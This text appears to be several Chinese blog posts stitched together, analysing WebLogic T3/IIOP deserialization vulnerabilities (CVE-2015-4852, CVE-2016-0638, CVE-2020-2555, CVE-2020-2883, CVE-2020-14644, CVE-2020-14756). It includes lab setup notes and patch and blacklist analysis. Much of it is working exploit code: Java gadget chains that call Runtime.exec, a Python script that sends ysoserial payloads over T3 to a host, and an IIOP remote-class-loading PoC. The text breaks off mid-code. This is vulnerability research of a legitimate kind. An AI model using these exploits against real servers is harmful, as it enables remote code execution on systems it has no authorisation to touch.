realize:142, RemotableSupport (com.tangosol.internal.util.invoke)newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)invokeVirtual_L_L:-1, 479734028 (java.lang.invoke.LambdaForm$DMH)reinvoke:-1, 1608812768 (java.lang.invoke.LambdaForm$BMH)invoke_MT:-1, 223025988 (java.lang.invoke.LambdaForm$MH)readResolve:202, ObjectStreamClass (weblogic.utils.io)readValue:88, ValueHandlerImpl (weblogic.iiop)read_value:1388, IIOPInputStream (weblogic.iiop)read_value:1247, IIOPInputStream (weblogic.iiop)read_value_internal:230, AnyImpl (weblogic.corba.idl)read_value:125, AnyImpl (weblogic.corba.idl)read_any:1000, IIOPInputStream (weblogic.iiop)read_any:992, IIOPInputStream (weblogic.iiop)_invoke:87, _NamingContextAnyImplBase (weblogic.corba.cos.naming)invoke:249, CorbaServerRef (weblogic.corba.idl)invoke:246, ClusterableServerRef (weblogic.rmi.cluster)run:534, BasicServerRef$2 (weblogic.rmi.internal)doAs:386, AuthenticatedSubject (weblogic.security.acl.internal)runAs:163, SecurityManager (weblogic.security.service)handleRequest:531, BasicServerRef (weblogic.rmi.internal)run:138, WLSExecuteRequest (weblogic.rmi.internal.wls)_runAs:352, ComponentInvocationContextManager (weblogic.invocation)runAs:337, ComponentInvocationContextManager (weblogic.invocation)doRunWorkUnderContext:57, LivePartitionUtility (weblogic.work)runWorkUnderContext:41, PartitionUtility (weblogic.work)runWorkUnderContext:655, SelfTuningWorkManagerImpl (weblogic.work)execute:420, ExecuteThread (weblogic.work)run:360, ExecuteThread (weblogic.work)

POC如下：

import com.tangosol.internal.util.invoke.ClassDefinition;import com.tangosol.internal.util.invoke.ClassIdentity;import com.tangosol.internal.util.invoke.RemoteConstructor;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import weblogic.EvilObj;
import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.io.IOException;import java.util.Hashtable;
public class CVE_2020_14644 {    public static void main(String[] args) throws IOException, CannotCompileException, NamingException, NotFoundException {
        String ip = "127.0.0.1";        String port = "7001";        String rhost = String.format("iiop://%s:%s", ip, port);
        Hashtable<String, String> env = new Hashtable<String, String>();        // add wlsserver/server/lib/weblogic.jar to classpath,else will error.        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");        env.put(Context.PROVIDER_URL, rhost);
        Context context = new InitialContext(env);
        ClassIdentity classIdentity = new ClassIdentity(EvilObj.class);        ClassPool cp = ClassPool.getDefault();        CtClass ctClass = cp.get(EvilObj.class.getName());        ctClass.replaceClassName(EvilObj.class.getName(),  EvilObj.class.getName() + "$" + classIdentity.getVersion());        RemoteConstructor constructor = new RemoteConstructor(                new ClassDefinition(classIdentity, ctClass.toBytecode()),                new Object[] {}        );// 发送 IIOP 协议数据包
//        context.bind("hello",new Object());        context.rebind("hello",constructor);    }}

//EvilObj.classpublic class EvilObj {
    public EvilObj() {        try {            Runtime.getRuntime().exec("touch /tmp/success222");        } catch (IOException var1) {            var1.printStackTrace();        }    }}

后记

参考：

https://tttang.com/archive/1800/#toc_cve-2018-3245

https://www.anquanke.com/post/id/225137#h3-1

https://xz.aliyun.com/t/2479

https://paper.seebug.org/1069/

阅读原文

跳转微信打开

Weblogic T3协议漏洞分析(二)

Sat, 18 Feb 2023 00:00:00 +0800

深蓝 2023-02-18 00:00 四川

前言

接上文。

正文

CVE-2020-2555

影响范围：

Oracle Coherence 3.7.1.17

Oracle Coherence 12.1.3.0.0
Oracle Coherence 12.2.1.3.0
Oracle Coherence 12.2.1.4.0

且JDK > 8u76

漏洞分析

主要是Oracle Coherence中的LimitFilter类存在一个toString方法：

public String toString () {    StringBuffer sb = new StringBuffer("LimitFilter: (");    sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);    if (this.m_comparator instanceof ValueExtractor) {        ValueExtractor extractor = (ValueExtractor)this.m_comparator;        sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));    } else if (this.m_comparator != null) {        sb.append(", comparator=").append(this.m_comparator);    }
    sb.append("])");    return sb.toString();}

传入的对象若是继承自ValueExtractor类则会调用其extract方法：

可利用的类不止一个，这里先看属于该cve的可利用类com.tangosol.util.extractor.ReflectionExtractor#extract：

构造方法：

反射获取类方法并invoke:

可以通过ChainedExtractor#extract(类似CC的ChainedTransformer)来连续调用extract方法：

而JDK > 8u76后才会有toString用于触发:

poc:

import com.tangosol.util.ValueExtractor;import com.tangosol.util.extractor.ChainedExtractor;import com.tangosol.util.extractor.ReflectionExtractor;import com.tangosol.util.filter.LimitFilter;import com.weblogcVul.CVE_2016_3510;import weblogic.corba.utils.MarshalledObject;
import javax.management.BadAttributeValueExpException;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;
public class CVE_2020_2555 {    public static void main(String[] args) throws Exception {        // 创建第一个Extractor Runtime.getMethod("getRuntime")        ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});        // 第二个Extractor getRuntime.invoke()        ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]});        // 第三个Extractor invoke(exec, "id")        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{"touch /tmp/success123.txt"});//        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});
        ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});
        LimitFilter limitFilter = new LimitFilter();        limitFilter.setComparator(chainedExtractor);        limitFilter.setTopAnchor(Runtime.class);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);        try {            Field field = badAttributeValueExpException.getClass().getDeclaredField("val");            field.setAccessible(true);            field.set(badAttributeValueExpException, limitFilter);        } catch (Exception e) {            e.printStackTrace();        }
        ByteArrayOutputStream fout = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);        objectOutputStream.writeObject(badAttributeValueExpException);        objectOutputStream.close();        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));    }}

调用栈如下：

extract:116, ReflectionExtractor (com.tangosol.util.extractor)extract:105, ChainedExtractor (com.tangosol.util.extractor)toString:599, LimitFilter (com.tangosol.util.filter)readObject:86, BadAttributeValueExpException (javax.management)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:2122, ObjectInputStream (java.io)readOrdinaryObject:2013, ObjectInputStream (java.io)readObject0:1535, ObjectInputStream (java.io)readObject:422, ObjectInputStream (java.io)readObject:73, InboundMsgAbbrev (weblogic.rjvm)read:45, InboundMsgAbbrev (weblogic.rjvm)readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)init:219, MsgAbbrevInputStream (weblogic.rjvm)dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)readReadySocketOnce:993, SocketMuxer (weblogic.socket)readReadySocket:929, SocketMuxer (weblogic.socket)process:599, NIOSocketMuxer (weblogic.socket)processSockets:563, NIOSocketMuxer (weblogic.socket)run:30, SocketReaderRequest (weblogic.socket)execute:43, SocketReaderRequest (weblogic.socket)execute:147, ExecuteThread (weblogic.kernel)run:119, ExecuteThread (weblogic.kernel)

前面的T3调用过程没有太大变化，主要还是通过上文提到的BadAttributeValueExpException.toString触发LimitFilter.toString进而触发ReflectionExtractor.extract方法

流量特征上看也是正常的T3序列化数据，主要特征为BadAttributeValueExpException和ReflectionExtractor

CVE-2020-2883

影响范围：

Oracle Coherence 10.3.6.0.0

Oracle Coherence 12.1.3.0.0
Oracle Coherence 12.2.1.3.0
Oracle Coherence 12.2.1.4.0

在CVE-2020-2555补丁中主要是针对利用类LimitFilter的toString方法进行修复，此CVE主要是对上述修复的绕过。

MultiExtractor#compare

MultiExtractor继承自AbstractExtractor

很明显compare方法中有extract方法的调用：

与ChainedExtractor不同，这里只是遍历Extractors列表并调用其extract方法而非和ChainedExtractor.extract一样进行链式调用：

所以还得封装一层ChainedExtractor来进行rumtime调用，对于compare方法的触发，使用priorityQueue这条链的触发方法即可：

参考RoboTerh师傅的poc：

import com.tangosol.util.ValueExtractor;import com.tangosol.util.extractor.ChainedExtractor;import com.tangosol.util.extractor.MultiExtractor;import com.tangosol.util.extractor.ReflectionExtractor;import ysoserial.payloads.util.Reflections;
import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;
public class CVE_2020_2883_MultiExtractor {    public static void main(String[] args) throws Exception {        // 创建第一个Extractor Runtime.getMethod("getRuntime")        ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});        // 第二个Extractor getRuntime.invoke()        ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]});        // 第三个Extractor invoke(exec, "id")        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{"touch /tmp/success111.txt"});//        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});
        ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});        MultiExtractor multiExtractor = new MultiExtractor();
        Field m_aExtractor = multiExtractor.getClass().getSuperclass().getDeclaredField("m_aExtractor");        m_aExtractor.setAccessible(true);        m_aExtractor.set(multiExtractor, new ValueExtractor[]{chainedExtractor});
        PriorityQueue priorityQueue = new PriorityQueue();        priorityQueue.add("1");        priorityQueue.add("2");
        Field comparator = priorityQueue.getClass().getDeclaredField("comparator");        comparator.setAccessible(true);        comparator.set(priorityQueue, multiExtractor);
        Object[] queueArray = (Object[]) Reflections.getFieldValue(priorityQueue, "queue");        queueArray[0] = Runtime.class;        queueArray[1] = "2";
        ByteArrayOutputStream fout = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);        objectOutputStream.writeObject(priorityQueue);        objectOutputStream.close();        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));    }}

调用栈如下：

extract:116, ReflectionExtractor (com.tangosol.util.extractor)extract:105, ChainedExtractor (com.tangosol.util.extractor)extract:96, MultiExtractor (com.tangosol.util.extractor)compare:143, AbstractExtractor (com.tangosol.util.extractor)siftDownUsingComparator:721, PriorityQueue (java.util)siftDown:687, PriorityQueue (java.util)heapify:736, PriorityQueue (java.util)readObject:795, PriorityQueue (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:2122, ObjectInputStream (java.io)readOrdinaryObject:2013, ObjectInputStream (java.io)readObject0:1535, ObjectInputStream (java.io)readObject:422, ObjectInputStream (java.io)readObject:73, InboundMsgAbbrev (weblogic.rjvm)read:45, InboundMsgAbbrev (weblogic.rjvm)readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)init:219, MsgAbbrevInputStream (weblogic.rjvm)dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)readReadySocketOnce:993, SocketMuxer (weblogic.socket)readReadySocket:929, SocketMuxer (weblogic.socket)process:599, NIOSocketMuxer (weblogic.socket)processSockets:563, NIOSocketMuxer (weblogic.socket)run:30, SocketReaderRequest (weblogic.socket)execute:43, SocketReaderRequest (weblogic.socket)execute:147, ExecuteThread (weblogic.kernel)run:119, ExecuteThread (weblogic.kernel)PriorityQueue.readObject -> AbstractExtractor.compare -> MultiExtractor.extract -> ChainedExtractor.extract -> ReflectionExtractor.extract

ExtractorComparator#compare

查看其compare方法：

public int compare(T o1, T o2) {    Comparable a1 = o1 instanceof InvocableMap.Entry ? (Comparable)((InvocableMap.Entry)o1).extract(this.m_extractor) : (Comparable)this.m_extractor.extract(o1);    Comparable a2 = o2 instanceof InvocableMap.Entry ? (Comparable)((InvocableMap.Entry)o2).extract(this.m_extractor) : (Comparable)this.m_extractor.extract(o2);    if (a1 == null) {        return a2 == null ? 0 : -1;    } else {        return a2 == null ? 1 : a1.compareTo(a2);    }}

很明显的extract调用，同样的构造方法：

import com.tangosol.util.ValueExtractor;import com.tangosol.util.comparator.ExtractorComparator;import com.tangosol.util.extractor.ChainedExtractor;import com.tangosol.util.extractor.MultiExtractor;import com.tangosol.util.extractor.ReflectionExtractor;import ysoserial.payloads.util.Reflections;
import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;
public class CVE_2020_2883_ExtractorComparator {    public static void main(String[] args) throws Exception {        // 创建第一个Extractor Runtime.getMethod("getRuntime")        ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});        // 第二个Extractor getRuntime.invoke()        ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]});        // 第三个Extractor invoke(exec, "id")        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{"touch /tmp/success111.txt"});//        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});
        ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});        ExtractorComparator extractorComparator = new ExtractorComparator( chainedExtractor);
        PriorityQueue priorityQueue = new PriorityQueue();        priorityQueue.add("1");        priorityQueue.add("2");
        Field comparator = priorityQueue.getClass().getDeclaredField("comparator");        comparator.setAccessible(true);        comparator.set(priorityQueue, extractorComparator);
        Object[] queueArray = (Object[]) Reflections.getFieldValue(priorityQueue, "queue");        queueArray[0] = Runtime.class;        queueArray[1] = "2";
        ByteArrayOutputStream fout = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);        objectOutputStream.writeObject(priorityQueue);        objectOutputStream.close();        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));    }}

最终触发目标函数，过程差不多就不赘述了：

CVE-2020-14756

影响范围：

Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0

同样是对反序列化黑名单的绕过，这里使用的是com.tangosol.coherence.servlet.AttributeHolder，调用其readExternal方法：

而com.tangosol.util.aggregator.TopNAggregator$PartialResult的readExternal方法将会触发其父类的SortedBag$WrapperComparator.compare方法：

而之前我们提到过，所有继承自AbstractExtractor的Extractor都会有一个compare方法可触发其extract方法：

对于MvelExtractor来说触发extract即是执行MVEL表达式计算，执行任意代码：

调用栈如下：

extract:95, MvelExtractor (com.tangosol.coherence.rest.util.extractor)compare:143, AbstractExtractor (com.tangosol.util.extractor)compare:416, SortedBag$WrapperComparator (com.tangosol.util)compare:1295, TreeMap (java.util)put:538, TreeMap (java.util)add:152, SortedBag (com.tangosol.util)add:270, TopNAggregator$PartialResult (com.tangosol.util.aggregator)readExternal:299, TopNAggregator$PartialResult (com.tangosol.util.aggregator)readExternalizableLite:2345, ExternalizableHelper (com.tangosol.util)readObjectInternal:2661, ExternalizableHelper (com.tangosol.util)readObject:2606, ExternalizableHelper (com.tangosol.util)readObject:2583, ExternalizableHelper (com.tangosol.util)readExternal:407, AttributeHolder (com.tangosol.coherence.servlet)readExternal:372, AttributeHolder (com.tangosol.coherence.servlet)readExternalData:2062, ObjectInputStream (java.io)readOrdinaryObject:2011, ObjectInputStream (java.io)readObject0:1535, ObjectInputStream (java.io)readObject:422, ObjectInputStream (java.io)readObject:73, InboundMsgAbbrev (weblogic.rjvm)read:45, InboundMsgAbbrev (weblogic.rjvm)readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)init:219, MsgAbbrevInputStream (weblogic.rjvm)dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)readReadySocketOnce:993, SocketMuxer (weblogic.socket)readReadySocket:929, SocketMuxer (weblogic.socket)process:599, NIOSocketMuxer (weblogic.socket)processSockets:563, NIOSocketMuxer (weblogic.socket)run:30, SocketReaderRequest (weblogic.socket)execute:43, SocketReaderRequest (weblogic.socket)execute:147, ExecuteThread (weblogic.kernel)run:119, ExecuteThread (weblogic.kernel)

参考Y4er师傅POC：

import com.tangosol.coherence.rest.util.extractor.MvelExtractor;import com.tangosol.coherence.servlet.AttributeHolder;import com.tangosol.util.SortedBag;import com.tangosol.util.aggregator.TopNAggregator;
import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Base64;
public class CVE_2020_14756 {    public static void main(String[] args) {        MvelExtractor extractor = new MvelExtractor("java.lang.Runtime.getRuntime().exec(\"touch /tmp/123.txt\");");        MvelExtractor extractor2 = new MvelExtractor("");
        try {            SortedBag sortedBag = new TopNAggregator.PartialResult(extractor2, 2);            AttributeHolder attributeHolder = new AttributeHolder();            sortedBag.add(1);
            Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");            m_comparator.setAccessible(true);            m_comparator.set(sortedBag, extractor);
            Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);            setInternalValue.setAccessible(true);            setInternalValue.invoke(attributeHolder, sortedBag);            ByteArrayOutputStream fout = new ByteArrayOutputStream();            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);            objectOutputStream.writeObject(attributeHolder);            objectOutputStream.close();            System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));
        } catch (Exception e) {            e.printStackTrace();        }    }}

流量特征：

后记

依旧参考RoboTerh师傅的文章：https://tttang.com/archive/1785/#toc_cve-2017-3248

关于前文中T3协议头部分存在一些问题，具体细则可参考su18《Weblogic RMI 与 T3 初探》。

阅读原文

跳转微信打开

Weblogic T3协议漏洞分析(一)

Tue, 17 Jan 2023 17:57:00 +0800

深蓝 2023-01-17 17:57 四川

前言

记录Weblogic漏洞分析过程，参考了很多师傅的分析文章，链接放在后记中。

正文

环境搭建

搭建环境参考：

https://github.com/QAX-A-Team/WeblogicEnvironment

将对应版本的JDK与Weblogic分别放入/jdks和/weblogics目录中：

Oracle官网即可下载：

https://www.oracle.com/java/technologies/downloads/archive/

https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

Oracle WebLogic Server 10.3.6支持的最低JDK版本为JDK1.6， Oracle WebLogic Server 12.1.3支持的最低JDK版本为JDK1.7，Oracle WebLogic Server 12.2.1及以上支持的最低JDK版本为JDK1.8。

Docker构建：

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

由于Centos8已与2022年底停止维护，这里需要提前跟换yum源：

RUN cd /etc/yum.repos.d/RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*

配置远程调试：

kdir ./middlewaredocker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

将docker中的主要lib目录拷贝出来，IDEA直接打开wlserver并将coherence_3.7与modules作为lib导入项目：

同时将/wlserver/server/lib目录作为lib导入：

配置remote调试端口即可：

启动调试：

T3协议：

Weblogic RMI是Weblogic对于Java RMI的实现，其主要使用Weblogic自有的T3协议和基于Corba的IIOP协议进行客户端与服务端之间的传输。

数据包中前四个字符描述数据包长度，而后为T3的协议头，同时每个标准反序列化头部aced0005前会新增一个fe010000字段：

CVE-2015-4852

影响范围：

Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 12.2.1.0
Oracle WebLogic Server 12.1.3.0
Oracle WebLogic Server 12.1.2.0

漏洞分析：

找了一份sp4z师傅的脚本：

from os import popenimport struct # 负责大小端的转换import subprocessfrom sys import stdoutimport socketimport reimport binascii
def generatePayload(gadget,cmd):    YSO_PATH = "/Users/.../ysoserial-0.0.6-SNAPSHOT-BETA-all.jar"    popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)    return popen.stdout.read()
def T3Exploit(ip,port,payload):    sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)    sock.connect((ip,port))    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"    sock.sendall(handshake.encode())    data = sock.recv(1024)    compile = re.compile("HELO:(.*).0.false")    match = compile.findall(data.decode())    if match:        print("Weblogic: "+"".join(match))    else:        print("Not Weblogic")        return    header = binascii.a2b_hex(b"00000000")    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")    desflag = binascii.a2b_hex(b"fe010000")    payload = header + t3header  +desflag+  payload    payload = struct.pack(">I",len(payload)) + payload[4:]    sock.send(payload)if __name__ == "__main__":    ip = "127.0.0.1"    port = 7001    gadget = "CommonsCollections1"    cmd = "touch /tmp/success"    payload = generatePayload(gadget,cmd)    T3Exploit(ip,port,payload)

大概利用过程如下：

代码调试：

//wlserver/server/lib/wlthint3client.jar/weblogic/InboundMsgAbbrev.readobject()
private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {    int var2 = var1.read();    switch (var2) {        case 0:            return (new ServerChannelInputStream(var1)).readObject();        case 1:            return var1.readASCII();        default:            throw new StreamCorruptedException("Unknown typecode: '" + var2 + "'");    }}

在此处下断点，可看到已修改后的序列化数据：

通过ServerChannelInputStream.resovleClass()方法加载类：

而ServerChannelInputStream继承自ObjectInputStream，而此处的resolveClass方法也是调用父类方法未有任何处理，故造成反序列化漏洞：

下面就是正常的反序列化利用链流程了。

引用文章中的流程图：

修复方案

Weblogic选择resolveClass中添加类黑名单用于过滤反序列化利用链中所涉及的类，在其中一个补丁包中我们可以看到这个isBlackListed方法：

来自ClassFilter，过滤反序列化攻击所使用的关键类：

package weblogic.rmi;
import java.util.HashSet;import java.util.StringTokenizer;
public abstract class ClassFilter {  static final String BLACK_LIST_PROPERTY = "weblogic.rmi.blacklist";
  static final String DISABLE_DEFAULT_BLACKLIST_PROPERTY = "weblogic.rmi.disabledefaultblacklist";
  static final String DISABLE_BLACK_LIST_PROPERTY = "weblogic.rmi.disableblacklist";
  private static final String DEFAULT_BLACK_LIST = "+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure";
  private static final HashSet BLACK_LIST = new HashSet();
  static {    if (!isBlackListDisabled()) {      if (!isDefaultBlacklistEntriesDisabled())        updateBlackList("+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure");       updateBlackList(System.getProperty("weblogic.rmi.blacklist", null));    }   }
  private static boolean isBlackListDisabled() {    return Boolean.getBoolean("weblogic.rmi.disableblacklist");  }
  private static boolean isDefaultBlacklistEntriesDisabled() {    return Boolean.getBoolean("weblogic.rmi.disabledefaultblacklist");  }
  private static void updateBlackList(String blackList) {    if (blackList != null) {      StringTokenizer st = new StringTokenizer(blackList, ",");      while (st.hasMoreTokens()) {        String token = st.nextToken();        processToken(token);      }     }   }
  private static void processToken(String token) {    if (token.startsWith("+")) {      BLACK_LIST.add(token.substring(1));    } else if (token.startsWith("-")) {      BLACK_LIST.remove(token.substring(1));    } else {      BLACK_LIST.add(token);    }   }
  public static boolean isBlackListed(String className) {    String pkgName;    if (className.length() > 0 && BLACK_LIST.contains(className))      return true;     try {      pkgName = className.substring(0, className.lastIndexOf('.'));    } catch (Exception ignored) {      return false;    }     return (pkgName.length() > 0 && BLACK_LIST.contains(pkgName));  }}

这个黑名单主要作用于三个类的resolveClass方法：

weblogic.iiop.Utils.class weblogic.rjvm.MsgAbbrevInputStream.classweblogic.rjvm.InboundMsgAbbrev.class

同时也有师傅提到，开放在外网的情况下，还可以采用web代理和负载均衡。

web代理的方式只能转发HTTP的请求，而不会转发T3协议的请求，这就能防御住T3漏洞的攻击。
负载均衡的情况下，可以指定需要进行负载均衡的协议类型，这么这里就可以设置为HTTP的请求，不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。

CVE-2016-0638

影响范围：

Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 12.2.1.0
Oracle WebLogic Server 12.1.3.0
Oracle WebLogic Server 12.1.2.0

漏洞分析：

上文中我们提到，补丁对weblogic.iiop.Utils.class，weblogic.rjvm.MsgAbbrevInputStream.class，weblogic.rjvm.InboundMsgAbbrev.class三个类中的反序列化过程进行了黑名单过滤，而在weblogic.jms.common.StreamMessageImpl类的readExternal方法中同样存在readObject操作:

所以我们需自定义实现一个StreamMessageImpl类。

观察其writeExternal与readExternal方法可见，我们需要自定义实现一个writeExternal逻辑将payload写入序列化过程：

public void writeExternal(ObjectOutput var1) throws IOException {    super.writeExternal(var1);    int var3 = Integer.MAX_VALUE;    ObjectOutput var2;    if (var1 instanceof MessageImpl.JMSObjectOutputWrapper) {        var3 = ((MessageImpl.JMSObjectOutputWrapper)var1).getCompressionThreshold();        var2 = ((MessageImpl.JMSObjectOutputWrapper)var1).getInnerObjectOutput();    } else {        var2 = var1;    }
    byte var4;    if (this.getVersion(var2) >= 30) {        var4 = (byte)(3 | (this.shouldCompress(var2, var3) ? -128 : 0));    } else {        var4 = 2;    }
    var2.writeByte(var4);    if (this.isCompressed()) {        if (var4 == 2) {            this.decompress().writeLengthAndData(var2);        } else {            this.flushCompressedMessageBody(var2);        }
    } else {        Object var5;        if (this.bos != null) {            var5 = this.bos;        } else {            if (this.payload == null) {                var2.writeInt(0);                return;            }
            var5 = this.payload;        }
        if ((var4 & -128) != 0) {            this.writeExternalCompressPayload(var2, (Payload)var5);        } else {            ((Payload)var5).writeLengthAndData(var2);        }
    }}
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {    super.readExternal(var1);    byte var2 = var1.readByte();    byte var3 = (byte)(var2 & 127);    if (var3 >= 1 && var3 <= 3) {        switch (var3) {            case 1:                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);                BufferInputStream var4 = this.payload.getInputStream();                ObjectInputStream var5 = new ObjectInputStream(var4);                this.setBodyWritable(true);                this.setPropertiesWritable(true);
                try {                    while(true) {                        this.writeObject(var5.readObject());                    }                } catch (EOFException var9) {                    try {                        this.reset();                        this.setPropertiesWritable(false);                        PayloadStream var7 = this.payload.copyPayloadWithoutSharedStream();                        this.payload = var7;                    } catch (JMSException var8) {                        JMSClientExceptionLogger.logStackTrace(var8);                    }                } catch (MessageNotWriteableException var10) {                    JMSClientExceptionLogger.logStackTrace(var10);                } catch (javax.jms.MessageFormatException var11) {                    JMSClientExceptionLogger.logStackTrace(var11);                } catch (JMSException var12) {                    JMSClientExceptionLogger.logStackTrace(var12);                }                break;            case 3:                if ((var2 & -128) != 0) {                    this.readExternalCompressedMessageBody(var1);                    break;                }            case 2:                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);        }
    } else {        throw JMSUtilities.versionIOException(var3, 1, 3);    }}

参考项目代码：

https://github.com/zhzhdoai/Weblogic_Vuln

自实现一个writeExternal逻辑：

public void writeExternal(ObjectOutput var1) throws IOException {    super.writeExternal(var1);    ByteArrayOutputStream var2 = new ByteArrayOutputStream();    ObjectOutputStream var3 = new ObjectOutputStream(var2);
    try {        var3.writeObject("payload_here");        var3.flush();    } catch (IllegalAccessException e) {        e.printStackTrace();    } catch (InvocationTargetException e) {        e.printStackTrace();    } catch (InstantiationException e) {        e.printStackTrace();    } catch (NoSuchMethodException e) {        e.printStackTrace();    } catch (ClassNotFoundException e) {        e.printStackTrace();    }    byte[] var5 = var2.toByteArray();    var1.writeByte(1);    var1.writeInt(var5.length);    var1.write(var5);    }

为方便调试稍微改了一下weblogicScaner的poc:‍

import binasciiimport socketimport structimport subprocessimport timefrom multiprocessing.managers import SyncManagerfrom typing import Any, Dict, List, Mapping, Tuple, Union
from stars import target_type, Star
